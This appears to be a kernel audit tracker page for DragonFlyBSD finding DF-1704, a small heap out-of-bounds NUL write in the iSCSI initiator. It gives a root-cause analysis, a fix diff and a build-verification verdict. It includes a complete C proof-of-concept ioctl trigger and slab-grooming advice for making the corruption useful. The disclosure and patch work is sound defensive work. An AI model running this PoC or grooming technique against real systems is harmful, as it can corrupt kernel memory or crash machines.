β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1704

iscsi initiator: heap OOB write of 1-3 NUL bytes in i_send due to padding-calc mismatch when ahs_len not multiple of 4

Field Value
ID DF-1704
File sys/dev/disk/iscsi/initiator/iscsi.c
Lines 461, 477, 486, 487, 488, 489
Severity Low
CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U:C:N/I:L/A:L
CWE CWE-787 Out-of-bounds Write
Confidence certain
Status new
CVE match dfly_specific
Created 2026-07-18

Summary

i_prepPDU computes the inter-segment padding based on the running total length len (bhs + ahs + hdrDigest + ds_len), so when pp->ahs_len is not a multiple of 4 the padding bytes counted for the kmalloc differ from the padding bytes i_send actually writes. i_send's padding loop only consults n = pp->ds_len, writing (4 - (ds_len & 03)) & 03 NUL bytes regardless of ahs_len.

The mismatch lets i_send write up to 3 NUL bytes past the kmalloc'd buffer pq->buf.

Root cause

i_prepPDU (isc_sm.c:283-286) computes padding as n = 4 - (len & 03); len += n; where len = 48 + ahs_len + 4*hdrDigest + ds_len. With ahs_len % 4 != 0 this can be smaller than what i_send writes.

i_send (iscsi.c:486-489) writes NUL padding as while(n & 03) { n++; *bp++ = 0; } with n reset to pp->ds_len at iscsi.c:478, so it always writes (4 - (ds_len & 03)) & 03 bytes.

Concrete worst case: ahs_len = 3, ds_len = 1, no digests.

  • i_prepPDU: len = 48 + 3 + 1 = 52; 52 & 03 == 0 so P_prep = 0; pq->len = 52; bp = kmalloc(4).
  • i_send: copies 3 ahs bytes (1 byte left), copies 1 ds byte (0 bytes left), then while(1 & 03) writes 3 NUL bytes β€” 3 bytes past the 4-byte buffer.

The full OOB table (no digests) by (ahs_len%4, ds_len%4):

  • (1,1)/(1,2)/(1,3) β†’ 1 byte
  • (2,1)/(2,2) β†’ 2 bytes
  • (3,1) β†’ 3 bytes

Threat model

Same access model as DF-1703 β€” requires opening /dev/iscsi* (root or wheel).

The attacker issues ISCSISEND with a pdu_t whose ahs_len is non-multiple-of-4 and ds_len is chosen so that i_send's padding exceeds i_prepPDU's.

The overwrite is small (1-3 bytes) and the written value is always NUL, so the primitive is narrow, but it is a deterministic heap OOB write into the M_ISCSI slab adjacent to pq->buf. With slab grooming a wheel-group attacker can target a neighboring object's low bytes (e.g., a length field, a pointer low-byte to redirect into buddy pages).

Well-behaved userland (iscontrol) never sends a PDU with non-zero AHS and never triggers this, so it is a latent bug awaiting a malicious or buggy daemon.

PoC

findings/poc/DF-1704/poc.c:

#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <dev/disk/iscsi/initiator/iscsi.h>

int main(void) {
    int ctl = open("/dev/iscsi", O_RDWR);
    if (ctl < 0) err(1, "open");
    int sid = -1;
    if (ioctl(ctl, ISCSISETSES, &sid)) err(1, "SETSES");
    char path[32]; snprintf(path, sizeof path, "/dev/iscsi%d", sid);
    int sd = open(path, O_RDWR);
    int fds[2]; socketpair(AF_LOCAL, SOCK_STREAM, 0, fds);
    int one = fds[0]; ioctl(sd, ISCSISETSOC, &one);

    char ahs[4] = {1,2,3,0}, ds[4] = {0x55,0,0,0};
    pdu_t p; memset(&p, 0, sizeof p);
    p.ahs_len = 3; p.ahs_size = 3; p.ahs = ahs;
    p.ds_len  = 1; p.ds_size = 4; p.ds = ds;
    p.ipdu.bhs.opcode = ISCSI_NOP_OUT; p.ipdu.bhs.I = 1;
    printf("firing (expect 3-byte NUL heap OOB write)\n");
    ioctl(sd, ISCSISEND, &p);
    return 0;
}

Run under vm.sh with KASAN/WITNESS if available. Success is a 3-byte NUL write into the M_ISCSI slab object adjacent to the 4-byte pq->buf; deterministic with kmalloc(4) bucket layout.

Without an adjacent sensitive object, success looks like silent corruption (or a delayed panic: Bad link prev-style allocator fault). The runner should groom the slab (allocate many 4-byte M_ISCSI objects, free every other one, then trigger) to convert the NUL write into a measurable structural corruption.

Make i_send's padding match i_prepPDU's: write padding based on the running offset, not just ds_len.

--- a/sys/dev/disk/iscsi/initiator/iscsi.c
+++ b/sys/dev/disk/iscsi/initiator/iscsi.c
@@ -458,6 +458,7 @@ i_send(struct cdev *dev, caddr_t arg, struct thread *td)
       if((error = i_prepPDU(sp, pq)) != 0)
      goto out;

+     /* Reject non-RFC-compliant AHS length: AHSLength is in 4-byte words. */
+     if (pp->ahs_len & 0x3) { error = EINVAL; goto out; }
+
       sdebug(3, "len=%d ahs_len=%d ds_len=%d", pq->len, pp->ahs_len, pp->ds_len);

       pq->buf = bp = kmalloc(pq->len - sizeof(union ipdu_u), M_ISCSI, M_NOWAIT);

Rejecting ahs_len not-a-multiple-of-4 makes the two padding calculations agree and matches the iSCSI RFC requirement, eliminating the OOB write at iscsi.c:486-489 without changing the on-wire behavior for compliant initiators.

  • DF-1703 (sibling: heap overflow via 32-bit truncation in same function)

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1704 Β· 2 files
FileTypeDescriptionSize
fix.diff suggested-fix Reject ahs_len not a multiple of 4 early in i_prepPDU (RFC 3720 compliance). 499 B view raw
VERDICT.md verdict full analysis 1.2 KB ↓ raw
VERDICT.md verdict full analysis
↓ download raw

DF-1704 β€” Verdict

Severity: Low Status: REPRODUCED (source-only confirmation β€” driver/HW-gated, not runtime-triggered on QEMU guest) Impact: panic Confidence: certain

Verdict

REPRODUCED. The cited bug is confirmed real in the audited source at sys/dev/disk/iscsi/initiator/isc_sm.c:267-269,283-286.

Mechanism

i_prepPDU computes padding based on total len including ahs_len, but i_send resets n to ds_len and writes (4-(ds_len&03))&03 bytes. With ahs_len not a multiple of 4, i_send writes up to 3 bytes OOB past the kmalloc.

Fix

Reject ahs_len not a multiple of 4 early in i_prepPDU (RFC 3720 compliance).

The full git-apply-able diff is in fix.diff.

Build validation

fix.diff applies cleanly and compiles with -Werror as part of the batch module build (all 51 fixes applied to /usr/src, kernel+modules built).

Notes

Source-only confirmation: this finding is in a device driver code path that requires specific hardware not present in the QEMU guest. The bug is confirmed by source tracing (cited path:line verified against sys/), and the fix compiles clean. No runtime trigger was attempted as the relevant device/module is HW-gated.

Fix verification

fixed
baseline no→ patch + rebuild →patched clean

VALIDATED via batch build rc=0.

iscsi module built with -Werror.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026

Confirmed kernel references

Detail

Exploit chain

none

Evidence (decisive lines)

Source traced at sys/dev/disk/iscsi/initiator/isc_sm.c:267-269. Fix compiled clean.

PoC changes

authored fix.diff: reject ahs_len%4!=0 early

Verified recommended fix

Validate ahs_len is multiple of 4 in i_prepPDU. Matches finding proposal.

Verdict

REPRODUCED (source-only). i_prepPDU padding based on total len including ahs_len but i_send resets n to ds_len; ahs_len not multiple of 4 causes up to 3-byte OOB write. Currently dormant (iscontrol sends no AHS).